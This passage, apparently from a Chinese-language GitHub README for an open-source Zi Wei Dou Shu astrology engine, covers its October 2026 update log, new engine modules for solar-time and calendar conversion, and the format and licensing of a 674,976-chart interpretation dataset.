00:25:27</a>\uff09\u5728\u4f20\u7edf\u672f\u6570\u4e2d\uff0c\u94c1\u677f\u795e\u6570\u5728\u6838\u5bf9\u516d\u4eb2\u65b9\u9762\u6709\u5176\u72ec\u7279\u4f18\u52bf\uff08<a href=\"https://www.bilibili.com/video/BV1KJsLekEfA?p=3&amp;t=195\">2\u4e0a \u00b7 00:03:15</a>\uff09\uff1b\u502a\u5e08\u4ecd\u4ee5\u7d2b\u5fae\u6597\u6570\u4e3a\u6838\u5fc3\uff0c\u662f\u56e0\u4e3a\u5b83\u80fd\u7ed3\u5408\u5730\u7406\u3001\u73af\u5883\u4e0e\u4eba\u4e8b\u8fdb\u884c\u7efc\u5408\u5224\u65ad\uff0c\u5f62\u6210\u201c\u4e0a\u77e5\u5929\u6587\u3001\u4e0b\u77e5\u5730\u7406\u3001\u4e2d\u77e5\u4eba\u4e8b\u201d\u7684\u5b8c\u6574\u4f53\u7cfb\uff08<a href=\"https://www.bilibili.com/video/BV1KJsLekEfA?p=3&amp;t=1543\">2\u4e0a \u00b7 00:25:43</a>\uff09\u3002\u56e0\u6b64\uff0c\u4e0e\u516d\u4eb2\u76f8\u5173\u7684\u5206\u6790\u4ec5\u4f9b\u53c2\u8003\uff1b<a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a> \u4e0a\u7236\u6bcd\u3001\u5144\u5f1f\u3001\u5b50\u5973\u4e09\u4e2a\u7ef4\u5ea6\u4e5f\u9644\u6709\u540c\u6837\u7684\u8bf4\u660e\u3002</p> \n</blockquote> \n<hr /> \n<h2>\u76ee\u5f55</h2> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th>\u7ae0\u8282</th> \n   <th>\u4e00\u53e5\u8bdd</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u4e00</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B8%80%E6%9C%AC%E8%BD%AE%E6%9B%B4%E6%96%B02026-10-15\">\u672c\u8f6e\u66f4\u65b0</a></td> \n   <td>13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u9010\u53e5\u6821\u6b63\uff0c\u53d1\u5e03 67.5 \u4e07\u547d\u76d8 \u00d7 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</td> \n  </tr> \n  <tr> \n   <td>\u4e8c\u00b7\u65b0</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%8C%E6%96%B013-%E7%BB%B4%E8%A7%A3%E8%AF%BB%E6%95%B0%E6%8D%AE%E9%9B%86-v402026-10-15\">13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</a></td> \n   <td>2026-10-15 \u65b0\u7248\u65ad\u8bed\uff0c67.5 \u4e07\u547d\u76d8\uff0c\u6309\u5e74\u4efd\u4e0b\u8f7d</td> \n  </tr> \n  <tr> \n   <td>\u4e8c</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%8C518-%E4%B8%87%E5%91%BD%E7%9B%98%E6%A0%B7%E6%9C%AC%E6%95%B0%E6%8D%AE%E9%9B%86\">51.8 \u4e07\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6</a></td> \n   <td>\u89c4\u683c\u3001\u4e0b\u8f7d\u3001\u7528\u9014\u3001\u8bb8\u53ef</td> \n  </tr> \n  <tr> \n   <td>\u4e09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B8%89%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\">\u5feb\u901f\u5f00\u59cb</a></td> \n   <td>\u514b\u9686\u5230\u8dd1\u8d77\u6765</td> \n  </tr> \n  <tr> \n   <td>\u56db</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%9B%9B%E6%8E%92%E7%9B%98%E5%BC%95%E6%93%8E\">\u6392\u76d8\u5f15\u64ce</a></td> \n   <td>\u80fd\u505a\u5230\u4ec0\u4e48\u3001\u6587\u4ef6\u600e\u4e48\u5206\u3001\u53e4\u7c4d\u6570\u636e</td> \n  </tr> \n  <tr> \n   <td>\u4e94</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%94%E5%80%AA%E5%B8%88%E5%A4%A9%E7%BA%AA%E7%B4%AB%E5%BE%AE%E6%96%97%E6%95%B0%E5%8E%9F%E8%AF%9D\">\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd</a></td> \n   <td>14 \u8bb2 + 2 \u6bb5\u8865\u5145\u30011848 \u6761\uff0c\u4e00\u56fe\u770b\u5168\uff0c\u6bcf\u6761\u53ef\u56de\u653e</td> \n  </tr> \n  <tr> \n   <td>\u516d</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%85%AD%E7%95%8C%E9%9D%A2%E6%98%AF%E4%B8%80%E4%BB%BD-demo\">\u754c\u9762\u662f\u4e00\u4efd Demo</a></td> \n   <td>\u4e0d\u662f\u7ebf\u4e0a\u90a3\u5957\uff0c\u5dee\u8ddd\u5199\u660e</td> \n  </tr> \n  <tr> \n   <td>\u4e03</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B8%83%E5%BC%80%E6%BA%90%E8%BE%B9%E7%95%8C%E4%BB%80%E4%B9%88%E4%B8%8D%E5%9C%A8%E9%87%8C%E9%9D%A2\">\u5f00\u6e90\u8fb9\u754c</a></td> \n   <td>\u4ec0\u4e48\u5f00\u6e90\u3001\u4ec0\u4e48\u4e0d\u5f00\u6e90</td> \n  </tr> \n  <tr> \n   <td>\u516b</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%85%AB%E7%BB%B4%E6%8A%A4%E8%8A%82%E5%A5%8F%E4%B8%8E%E8%B4%A1%E7%8C%AE\">\u7ef4\u62a4\u8282\u594f\u4e0e\u8d21\u732e</a></td> \n   <td>\u540c\u6b65\u8282\u594f\u3001issue / PR \u53e3\u5f84</td> \n  </tr> \n  <tr> \n   <td>\u4e5d</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%B9%9D%E5%8D%8F%E8%AE%AE\">\u534f\u8bae</a></td> \n   <td>\u4ee3\u7801 MIT / \u6570\u636e CC BY 4.0 / \u53e4\u7c4d\u516c\u7248 / \u502a\u5e08\u539f\u8bdd\u975e\u5546\u7528</td> \n  </tr> \n  <tr> \n   <td>\u5341</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E5%8D%81%E5%85%B3%E4%BA%8E%E4%B8%8E%E8%81%94%E7%B3%BB\">\u5173\u4e8e\u4e0e\u8054\u7cfb</a></td> \n   <td>\u9879\u76ee\u7406\u5ff5\u3001\u6280\u672f\u6808\u3001\u8054\u7cfb\u65b9\u5f0f</td> \n  </tr> \n </tbody> \n</table> \n<hr /> \n<h2>\u4e00\u3001\u672c\u8f6e\u66f4\u65b0\uff082026-10-15\uff09</h2> \n<p>\u672c\u8f6e\u8ddf\u968f\u7f51\u7ad9 2026-10-15 \u53d1\u7248\uff08\u7f51\u7ad9\u5185\u5bb9\u7248\u672c <code>ca268829f7a9</code>\uff09\uff1a</p> \n<p><img alt=\"\u672c\u8f6e\u66f4\u65b0\u603b\u89c8\" src=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/update-20261015.png\" /></p> \n<p><strong>1. \u53d1\u5e03 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</strong> \u2014\u2014 674,976 \u5f20\u547d\u76d8\uff08\u516c\u5386 1950\u20132026 \u5e74\u6bcf\u4e00\u4e2a\u771f\u5b9e\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09\u00d7 13 \u7ef4 = <strong>8,774,688 \u6bb5\u89e3\u8bfb</strong>\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\u3002\u89e3\u538b\u540e 56.6 GB\uff08v3.0 \u4e3a 33.1 GB\uff0c\u589e\u52a0 71%\uff09\uff0c\u538b\u7f29\u540e\u53ea\u6709 161 MB\uff0c\u6309\u5e74\u4efd\u5206 77 \u4e2a\u6587\u4ef6\uff0c\u53ef\u4ee5\u53ea\u4e0b\u9700\u8981\u7684\u5e74\u4efd\uff0c\u4e5f\u53ef\u4ee5\u4e00\u6b21\u4e0b\u5168\u5e74\u4efd\u603b\u5305\u3002\u4e0b\u8f7d\u89c1 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v4.0-13d\">Release v4.0-13d</a>\uff0c\u89c4\u683c\u548c\u5b57\u6bb5\u89c1<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/#%E4%BA%8C%E6%96%B013-%E7%BB%B4%E8%A7%A3%E8%AF%BB%E6%95%B0%E6%8D%AE%E9%9B%86-v402026-10-15\">\u7b2c\u4e8c\u00b7\u65b0\u7ae0</a>\u3002\u53d1\u5e03\u524d 77 \u4e2a\u6587\u4ef6\u9010\u4e2a\u89e3\u538b\uff0c\u4e0e\u539f\u59cb\u6570\u636e\u9010\u5b57\u8282\u6bd4\u5bf9\u4e00\u81f4\u3002</p> \n<p><strong>2. 13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63</strong>\uff08\u65ad\u8bed\u5e93\u4ecd\u4e0d\u5f00\u6e90\uff0c\u6821\u6b63\u7ed3\u679c\u4f53\u73b0\u5728 v4.0 \u6570\u636e\u96c6\u91cc\uff09\uff1a</p> \n<ul> \n <li>\u6807\u7740\u502a\u5e08\u6216\u300a\u5168\u4e66\u300b\u5374\u67e5\u4e0d\u5230\u51fa\u5904\u7684\u5f15\u6587\uff0c\u5220\u6389\u6216\u6362\u6210\u9010\u5b57\u53ef\u67e5\u7684\u539f\u8bdd\uff1b\u502a\u5e08\u539f\u8bdd\u6ce8\u660e\u300a\u5929\u7eaa\u300b\u7b2c\u51e0\u96c6\u3001\u51e0\u5206\u51e0\u79d2</li> \n <li>\u4e0d\u4f1a\u53d1\u751f\u7684\u56db\u5316\uff08\u5982\u4e03\u6740\u5316\u6743\u3001\u7d2b\u5fae\u5316\u5fcc\uff09\u76f8\u5173\u7684\u53e5\u5b50\u5220\u53bb\uff1b\u53ea\u5728\u67d0\u79cd\u6761\u4ef6\u4e0b\u624d\u6210\u7acb\u7684\u65ad\u8bed\u8865\u4e0a\u6761\u4ef6</li> \n <li>\u300c\u529b\u91cf\u5f3a\u65f6\u2026\u2026\u843d\u9677\u65f6\u2026\u2026\u300d\u8fd9\u7c7b\u4e24\u5934\u8bf4\u7684\u53e5\u5b50\uff0c\u6539\u4e3a\u6309\u547d\u76d8\u53ea\u663e\u793a\u6210\u7acb\u7684\u90a3\u4e00\u79cd</li> \n <li>\u5065\u5eb7\uff1a\u54ea\u4e2a\u810f\u8151\u8981\u7559\u610f\uff0c\u6539\u6309\u502a\u5e08\u7684\u770b\u6cd5\u2014\u2014\u5168\u76d8\u6740\u661f\u6700\u96c6\u4e2d\u7684\u90a3\u4e00\u5bab\uff0c\u6309\u5b83\u7684\u5730\u652f\u5bf9\u5e94\u810f\u8151\uff1b\u4e0d\u518d\u6309\u661f\u7684\u4e94\u884c\u63a8\u810f\u5668</li> \n <li>\u7f51\u7ad9\u77e5\u8bc6\u5e93\u300c\u53e4\u7c4d\u5f15\u8bc1\u300d\u7531 244 \u5904\u589e\u81f3 405 \u5904\uff0c\u6bcf\u4e00\u5904\u90fd\u80fd\u5728\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u91cc\u9010\u5b57\u627e\u5230</li> \n</ul> \n<p><strong>3. \u6392\u76d8\u5f15\u64ce\u540c\u6b65</strong>\uff08<a href=\"https://github.com/Renhuai123/ziwei-doushu/pull/39\">PR #39</a>\uff09\u2014\u2014 <code>dst-cn.ts</code> \u65b0\u589e <code>chinaDSTSpan(year)</code>\uff0c\u67e5\u67d0\u5e74\u4e2d\u56fd\u590f\u4ee4\u65f6\u8d77\u6b62\uff1b<code>cities.ts</code> \u8865\u5168\u7701\u76f4\u8f96\u53bf\u7ea7\u5355\u4f4d\u4e0e\u65b0\u7586\u5175\u56e2\u5404\u5e02\u7684\u7ecf\u5ea6\uff08\u795e\u519c\u67b6\u3001\u6d77\u5357\u5404\u5e02\u53bf\u3001\u963f\u62c9\u5c14\u7b49\uff09\uff0c\u51fa\u751f\u5730\u9009\u8fd9\u4e9b\u57ce\u5e02\u65f6\u771f\u592a\u9633\u65f6\u6821\u6b63\u53ef\u7528\u3002</p> \n<p><strong>4. \u8bb8\u53ef</strong> \u2014\u2014 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\"><code>DATASET-LICENSE</code></a> \u9002\u7528\u8303\u56f4\u52a0\u4e0a v4.0\uff1b\u5199\u660e\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff0c\u4e0e\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 CC BY-NC-SA 4.0 \u4e00\u81f4\u3002v3.0 \u6837\u672c\u6570\u636e\u96c6\u53ca\u5176\u6761\u6b3e\u4e0d\u53d8\u3002</p> \n<blockquote> \n <p><strong>2026-10-24 \u8865\u5145</strong>\uff1a\u9879\u76ee\u7406\u5ff5\u79fb\u5230\u9875\u9996\u2014\u2014\u6807\u9898\u4e0b\u5c45\u4e2d\u4e00\u53e5\u300c\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc\u300d\uff0c\u7d27\u63a5\u4e24\u6bb5\u7406\u5ff5\u539f\u6587\uff08\u524d\u6807\u300c\u9879\u76ee\u7406\u5ff5\u300d\uff09\uff0c\u539f\u6709\u4ecb\u7ecd\u6bb5\u524d\u6807\u300c\u9879\u76ee\u4fe1\u606f\u300d\uff1b\u7b2c\u5341\u7ae0\u300c\u9879\u76ee\u7406\u5ff5\u300d\u6539\u4e3a\u6307\u5411\u9875\u9996\u3002</p> \n</blockquote> \n<blockquote> \n <p><strong>2026-10-20 \u8865\u5145</strong>\uff1a\u661f\u66dc\u4eae\u5ea6\u9ed8\u8ba4\u6539\u4e3a\u300a\u6597\u6570\u5168\u4e66\u300b\uff0c\u4e0e\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u9ed8\u8ba4\u4e00\u81f4\uff0c\u6b64\u524d\u9ed8\u8ba4\u7684\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u4ecd\u53ef\u5728\u6d41\u6d3e\u8bbe\u7f6e\u91cc\u9009\uff1b\u8865\u9f50\u5929\u59da\u3001\u5929\u5211\u3001\u5929\u559c\u3001\u5927\u8017\u3001\u89e3\u795e\u3001\u622a\u7a7a\u3001\u526f\u622a\u3001\u65ec\u7a7a\u7684\u4eae\u5ea6\uff0c\u6708\u5fb7\u4e0d\u518d\u6807\u4eae\u5ea6\u3002\u7528 5 \u5f20\u91d1\u6807\u51c6\u76d8\u9010\u5bab\u6838\u5bf9\uff0c\u661f\u66dc\u843d\u5bab\u4e0e\u4eae\u5ea6\u5168\u90e8\u543b\u5408\u3002\u6ce8\u610f\uff1av4.0 \u6570\u636e\u96c6\uff0810-15\uff09\u662f\u6309\u65e7\u9ed8\u8ba4\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u751f\u6210\u7684\uff0c\u5176\u4e2d\u4eae\u5ea6\u5b57\u548c\u5c11\u91cf\u968f\u4eae\u5ea6\u53d8\u5316\u7684\u89e3\u8bfb\u53e5\u4f1a\u4e0e\u65b0\u9ed8\u8ba4\u4e0d\u540c\u3002</p> \n</blockquote> \n<blockquote> \n <p><strong>2026-10-06 ~ 10-07 \u8865\u5145</strong>\uff1aREADME \u52a0\u300c\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad\u300d\uff08\u502a\u5e08\u539f\u8bdd + \u51fa\u5904\u94fe\u63a5\uff0c\u4e2d\u82f1\u4e24\u4efd\uff09\uff1b\u7f51\u7ad9\u94fe\u63a5\u52a0\u6e20\u9053\u7801 <code>?from=</code>\uff1b\u540c\u6b65\u502a\u5e08\u539f\u8bdd\u8bed\u6599\u52d8\u8bef\uff08\u4e3b\u661f\u5357\u6597\u3001\u5317\u6597\u5f52\u5c5e\uff09\u3002</p> \n</blockquote> \n<h3>\u4e0a\u4e00\u8f6e\u66f4\u65b0\uff082026-09-21\uff09</h3> \n<blockquote> \n <p><strong>2026-10-03 \u8865\u5145</strong>\uff1a\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd 1848 \u6761\u5355\u72ec\u6210\u7ae0\uff08\u7b2c\u4e94\u7ae0\uff09\uff1b\u5408\u5e76\u5916\u90e8\u8d21\u732e #29\uff08\u65f6\u8fb0\u5e8f\u53f7\u6821\u9a8c\uff09\uff1b\u5f15\u64ce\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u516c\u5386\u65e5\u671f\uff0c\u6570\u636e\u96c6\u8865\u5b57\u6bb5\u53e3\u5f84\u4e0e\u5df2\u77e5\u95ee\u9898\uff1b\u63d0\u4ea4 package-lock.json\uff1b\u7ad9\u70b9\u5730\u5740\u6539\u4e3a\u53ef\u914d\u7f6e\uff1b\u5408\u76d8\u6f14\u793a\u6539\u7528\u672c\u5730\u5f15\u64ce\u8d77\u76d8\u3001AI \u63a5\u53e3\u7f3a\u5931\u65f6\u660e\u786e\u63d0\u793a\uff1b\u8865\u9f50\u8d21\u732e\u6307\u5357\u3001\u884c\u4e3a\u51c6\u5219\u3001\u95ee\u9898\u4e0e PR \u6a21\u677f\uff1b\u65b0\u589e\u82f1\u6587\u7b80\u4ecb <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/README.en.md\">README.en.md</a>\uff1b\u53bb\u6389\u4e24\u4e2a\u7528\u4e0d\u4e0a\u7684\u90e8\u7f72\u5de5\u5177\u5305\uff08vercel CLI\u3001@cloudflare/next-on-pages\uff09\uff0c\u4f9d\u8d56\u4ece 483 \u4e2a\u51cf\u5230 185 \u4e2a\uff1b\u968f\u540e\u5347\u7ea7\u5230 Next.js 16 \u4fee\u6389 postcss \u6f0f\u6d1e\uff0cGitHub \u5b89\u5168\u63d0\u9192\u4ece 51 \u6761\u6e05\u96f6\u3002</p> \n</blockquote> \n<p><img alt=\"\u672c\u8f6e\u66f4\u65b0\u603b\u89c8\" src=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/update-20260921.png\" /></p> \n<p>\u65f6\u9694\u4e09\u4e2a\u6708\uff0c\u672c\u4ed3\u5e93\u5b8c\u6210\u4e00\u6b21\u5b8c\u6574\u66f4\u65b0\uff08<a href=\"https://github.com/Renhuai123/ziwei-doushu/pull/28\">PR #28</a>\uff0c26 \u4e2a\u6587\u4ef6\u3001+2736 / \u2212108 \u884c\uff09\uff1a</p> \n<p><strong>1. \u6392\u76d8\u5f15\u64ce\u540c\u6b65\u5230\u7ebf\u4e0a\u53e3\u5f84</strong> \u2014\u2014 <code>algorithm.ts</code> \u4ece 181 \u884c\u5230 641 \u884c\uff0c\u53e6\u66f4\u65b0 sihua / types / constants / patterns / cities / famous\uff1b\u65b0\u589e 8 \u4e2a\u6a21\u5757\uff081367 \u884c\uff09\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u6a21\u5757</th> \n   <th>\u4f5c\u7528</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>true-solar-time.ts</code></td> \n   <td>\u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09</td> \n  </tr> \n  <tr> \n   <td><code>dst-cn.ts</code></td> \n   <td>\u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6</td> \n  </tr> \n  <tr> \n   <td><code>lunar-solar.ts</code></td> \n   <td>\u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp</td> \n  </tr> \n  <tr> \n   <td><code>school-data.ts</code> / <code>school-tables.generated.ts</code> / <code>school-config.ts</code></td> \n   <td>\u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e</td> \n  </tr> \n  <tr> \n   <td><code>shier-shen.ts</code></td> \n   <td>\u5341\u4e8c\u795e\u715e</td> \n  </tr> \n  <tr> \n   <td><code>yunxian-context.ts</code></td> \n   <td>\u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\uff09</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>2. \u8865\u4e0a\u56de\u5f52\u6d4b\u8bd5\u4e0e CI</strong> \u2014\u2014 \u6b64\u524d\u672c\u4ed3\u5e93\u6ca1\u6709\u4efb\u4f55\u6d4b\u8bd5\u3002\u73b0\u5728 5 \u6761\u6392\u76d8\u56de\u5f52\uff0c<code>npm test</code> \u4e00\u6761\u547d\u4ee4\u8dd1\u5b8c\uff0c\u6bcf\u6b21 push \u4e0e PR \u5728 GitHub Actions \u4e0a\u81ea\u52a8\u8dd1\u3002</p> \n<p><strong>3. \u4fee\u6389\u6837\u672c\u65f6\u8fb0\u6ce8\u91ca\u9519\u4f4d</strong>\uff08<a href=\"https://github.com/Renhuai123/ziwei-doushu/issues/26\">#26</a>\uff09\u2014\u2014 <code>famous.ts</code> \u91cc 11 \u6761\u540d\u4eba\u6837\u672c\u6709 7 \u6761\u7684\u65f6\u8fb0\u6ce8\u91ca\u4e0e <code>hour</code> \u7d22\u5f15\u4e0d\u7b26\uff08<code>hour</code> \u4e00\u76f4\u662f<strong>\u65f6\u8fb0\u5730\u652f\u7d22\u5f15 0\u201311</strong>\uff0c\u4e0d\u662f 0\u201323 \u7684\u5c0f\u65f6\u6570\uff09\u3002\u5df2\u6539\u6b63\u5e76\u52a0\u56de\u5f52\u9489\u4f4f\u3002</p> \n<p><strong>4. \u79ef\u538b issue \u4ece 18 \u6761\u6e05\u5230 4 \u6761</strong>\uff0c\u7559\u4e0b\u7684\u90fd\u662f\u8fd8\u5728\u8d70\u7684\u3002</p> \n<p><strong>5. \u6587\u6863\u4e0e\u8bb8\u53ef</strong> \u2014\u2014 \u65b0\u589e <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\"><code>DATASET-LICENSE</code></a>\uff1bREADME \u8865\u9f50\u5f15\u64ce\u80fd\u529b\u6e05\u5355\u3001\u7ef4\u62a4\u8282\u594f\u3001\u5f00\u6e90\u8fb9\u754c\uff1b\u4fee\u6b63\u4e24\u5904\u4e0d\u5b9e\u63cf\u8ff0\uff08\u6570\u636e\u96c6\u300c\u53e3\u5f84\u4e0e\u7ebf\u4e0a\u5b8c\u5168\u4e00\u81f4\u300d\u3001\u754c\u9762\u300c\u5b8c\u6574\u7684 Next.js 15 \u524d\u7aef\u300d\uff09\u3002</p> \n<hr /> \n<h2>\u4e8c\u00b7\u65b0\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff082026-10-15\uff09</h2> \n<blockquote> \n <p><strong>\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 <a href=\"https://github.com/Renhuai123/ziwei-doushu/releases/tag/v4.0-13d\">Releases \u2192 v4.0-13d</a></strong></p> \n</blockquote> \n<p>v4.0 \u7528 2026-10-15 \u7248\u7f51\u7ad9\u65ad\u8bed\u5e93\u91cd\u65b0\u751f\u6210\uff1a13 \u4e2a\u5206\u6790\u7ef4\u5ea6\u7684\u65ad\u8bed\u5df2\u6309\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u9010\u5b57\u7a3f\u4e0e\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63\u2014\u2014\u67e5\u4e0d\u5230\u51fa\u5904\u7684\u5f15\u6587\u5220\u53bb\u6216\u6362\u6210\u9010\u5b57\u53ef\u67e5\u7684\u539f\u8bdd\uff08\u502a\u5e08\u539f\u8bdd\u6ce8\u660e\u300a\u5929\u7eaa\u300b\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\uff09\uff0c\u4e0d\u4f1a\u53d1\u751f\u7684\u56db\u5316\u76f8\u5173\u53e5\u5b50\u5220\u53bb\uff0c\u6709\u6761\u4ef6\u7684\u65ad\u8bed\u5199\u660e\u6761\u4ef6\u3002</p> \n<h3>\u89c4\u683c</h3> \n<table> \n <thead> \n  <tr> \n   <th>\u9879\u76ee</th> \n   <th>\u8bf4\u660e</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\u547d\u76d8\u6570</td> \n   <td><strong>674,976 \u5f20</strong>\uff08\u516c\u5386 1950\u20132026 \u5e74 \u00d7 \u771f\u5b9e\u6bcf\u6708\u5929\u6570 \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09</td> \n  </tr> \n  <tr> \n   <td>\u89e3\u8bfb\u6bb5\u6570</td> \n   <td><strong>8,774,688 \u6bb5</strong>\uff08\u6bcf\u5f20\u76d8 13 \u7ef4\uff09</td> \n  </tr> \n  <tr> \n   <td>\u7ef4\u5ea6</td> \n   <td>\u547d\u683c\u603b\u89c8\u3001\u6027\u683c\u3001\u611f\u60c5\u3001\u4e8b\u4e1a\u3001\u8d22\u8fd0\u3001\u5065\u5eb7\u3001\u5144\u5f1f\u3001\u5b50\u5973\u3001\u8fc1\u79fb\u3001\u4eba\u9645\u3001\u7530\u5b85\u3001\u798f\u5fb7\u3001\u7236\u6bcd</td> \n  </tr> \n  <tr> \n   <td>\u5927\u5c0f</td> \n   <td>\u89e3\u538b\u540e 56.6 GB\uff1b\u538b\u7f29\u540e 161 MB\uff0877 \u4e2a\u5e74\u4efd\u6587\u4ef6\uff0czstd\uff1b\u53e6\u6709\u4e00\u4e2a\u5168\u5e74\u4efd\u603b\u5305 <code>ziwei-interp-v4-all.tar</code>\uff09</td> \n  </tr> \n  <tr> \n   <td>\u6b63\u6587</td> \n   <td>\u7ea6 204 \u4ebf\u5b57\uff0c\u6bcf\u5f20\u76d8\u7ea6 3.0 \u4e07\u5b57</td> \n  </tr> \n  <tr> \n   <td>\u751f\u6210\u65b9\u5f0f</td> \n   <td>\u6392\u76d8\u5f15\u64ce + \u65ad\u8bed\u5e93\u786e\u5b9a\u6027\u751f\u6210\uff0c\u4e0d\u7ecf AI\uff0c\u540c\u4e00\u8f93\u5165\u6052\u5f97\u540c\u4e00\u8f93\u51fa</td> \n  </tr> \n  <tr> \n   <td>\u5185\u5bb9\u7248\u672c</td> \n   <td><code>ca268829f7a9</code>\uff08\u4e0e\u7f51\u7ad9\u540c\u671f\u7684 ANALYSIS_CONTENT_VERSION\uff09</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>\u6bcf\u884c\u4e00\u5f20\u76d8</strong>\uff08JSON Lines\uff09\uff0c\u5b57\u6bb5\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5b57\u6bb5</th> \n   <th>\u542b\u4e49</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>k</code></td> \n   <td>\u952e\uff1a<code>YYYY-MM-DD-\u65f6\u8fb0\u5e8f\u53f7-\u6027\u522b</code>\uff0c\u5982 <code>1990-01-01-0-male</code></td> \n  </tr> \n  <tr> \n   <td><code>y</code> / <code>m</code> / <code>d</code></td> \n   <td><strong>\u516c\u5386</strong>\u51fa\u751f\u65e5\u671f\uff1b\u53ea\u542b\u771f\u5b9e\u5b58\u5728\u7684\u65e5\u671f\uff08\u4e0d\u518d\u6709 2 \u6708 30 \u65e5\u4e4b\u7c7b\uff09</td> \n  </tr> \n  <tr> \n   <td><code>h</code></td> \n   <td><strong>\u65f6\u8fb0\u5e8f\u53f7 0\u201311</strong>\uff08\u5b50 = 0 \u2026\u2026 \u4ea5 = 11\uff09\uff0c\u4e0d\u662f\u949f\u70b9\uff1b\u5bf9\u7167\u8868\u89c1\u4e0a\u4e00\u8282</td> \n  </tr> \n  <tr> \n   <td><code>g</code></td> \n   <td><code>male</code> / <code>female</code></td> \n  </tr> \n  <tr> \n   <td><code>ms</code></td> \n   <td>\u547d\u5bab\u7b2c\u4e00\u9897\u4e3b\u661f\uff1b\u547d\u5bab\u65e0\u4e3b\u661f\u65f6\u4e3a <code>null</code></td> \n  </tr> \n  <tr> \n   <td><code>t</code></td> \n   <td>\u5404\u7ef4\u5b57\u6570</td> \n  </tr> \n  <tr> \n   <td><code>c</code></td> \n   <td>13 \u7ef4\u89e3\u8bfb\u5168\u6587\uff08Markdown\uff09\uff0c\u952e\u4e3a <code>overview</code> / <code>personality</code> / <code>love</code> / <code>career</code> / <code>wealth</code> / <code>health</code> / <code>family</code> / <code>children</code> / <code>move</code> / <code>friends</code> / <code>home</code> / <code>spirit</code> / <code>parents</code></td> 